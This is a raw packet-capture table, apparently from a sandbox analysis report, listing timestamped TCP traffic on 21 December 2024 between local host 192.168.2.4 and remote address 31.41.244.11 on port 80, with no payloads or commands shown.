Dec 21, 2024 10:15:21.728647947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.729692936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.729729891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.729798079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.729897976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.730873108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.730915070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.730948925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.731019020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.732096910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.732144117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.732199907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.732243061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.733249903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.733294964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.733335972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.733434916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.734472036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.734538078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.734586000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.735641956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.735687971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.735692024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.735732079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.736841917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.736891985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.736921072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.737011909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.737960100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.738004923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.738066912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.738107920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.739162922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.739259005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.739269972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.739308119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.740377903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.740432978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.740448952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.740472078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.741513014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.741553068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.741583109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.741621017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.742696047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.742736101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.742780924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.742834091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.743889093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.743933916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.743940115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.743978977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.745085001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.745135069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.745183945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.745265007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.746259928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.746301889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.876797915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.876842976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.876985073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.877026081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.877399921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.877444983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.877588987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.877626896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.878691912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.878818035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.878823996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.878930092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.879713058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.879785061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.879832029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.879892111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.880861998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.880916119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.880954981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.880997896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.882066011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.882117033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.882235050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.882275105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.883225918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.883269072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.883310080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.883411884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.884455919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.884504080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.884548903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.884618044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.885651112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.885720015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.885795116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.885936022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.886853933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.886903048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.887000084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.887052059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.887964010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.888015032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.888056040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.888091087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.889127016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.889179945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.889271021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.889308929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.890350103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.890392065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.890450001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.890491009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.891495943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.891556025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.891774893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.891820908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.892683029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.892731905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.892771959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.892920971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.893902063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.893954992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.894069910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.894130945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.895064116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.895108938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.895207882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.895251989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.896246910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.896294117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.896336079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.896375895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.897429943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.897476912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.897517920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.897629976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.898591995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.898638964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.898679018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.898763895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.899790049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.899830103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.899900913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.899995089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.900994062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.901031017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.901129961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.901170969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.902163029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.902210951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.902343035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.902384996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.903345108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.903388023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.903479099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.903578997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.904525995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.904571056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.904679060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.904727936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.905725002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.905766010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.905800104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.905847073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.906872988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.906913996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.906981945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.907015085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.908088923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.908154964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.908385038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.908426046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.909286022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.909322023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.909399033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.909435987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.910418987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.910459042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.910537958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.910660982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.911593914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.911637068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.911701918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.911792040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.912796021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.912838936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.913039923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.913079977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.913975000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.914017916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.914150953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.914195061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.915159941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.915204048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.915296078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.915339947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.916347980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.916390896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.916445017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.916486025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.917536020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.917582989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.917617083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.917659044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.918715954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.918762922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.918802977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.918842077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.919920921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.919960022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.920083046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.920147896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.921045065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.921081066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.921154976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.921192884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.922255039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.922307968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.922328949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.922370911 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.923460007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.923501015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.923583031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.923624039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.924643040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.924685955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.924768925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.924843073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.925896883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.925942898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.925981998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.926063061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.927020073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.927067995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.927088022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.927130938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.928184032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.928231001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.928294897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.928390026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.929379940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.929423094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.929462910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.929514885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.930536032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.930603981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.930641890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.930746078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.931718111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.931762934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.931835890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.931883097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.932909012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.932950974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.933017015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.933058977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.934099913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.934144974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.934269905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.934314013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.935275078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.935318947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.935375929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.935419083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.936454058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.936564922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.936573029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.936604977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.937644958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.937686920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.937865019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.937906981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.938771009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.938808918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.068865061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.068927050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.068962097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.069016933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.069554090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.069608927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.069611073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.069653034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.070971012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.071031094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.071060896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.071104050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.072107077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.072191000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.072225094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.072278023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.073223114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.073276997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.073318005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.073395014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.074526072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.074578047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.074625015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.074676037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.075354099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.075411081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.075445890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.075624943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.076536894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.076596975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.076644897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.076690912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.077739000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.077795982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.077821970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.077873945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.078917027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.078942060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.078990936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.078991890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.080313921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.080367088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.080375910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.080406904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.081254005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.081300020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.081389904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.081432104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.082505941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.082566977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.082578897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.082636118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.083667994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.083726883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.083834887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.083925962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.084808111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.084867001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.084943056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.085001945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.086033106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.086155891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.086163044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.086211920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.087171078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.087233067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.087310076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.087398052 CET	49781	80	192.168.2.4	31.41.244.11
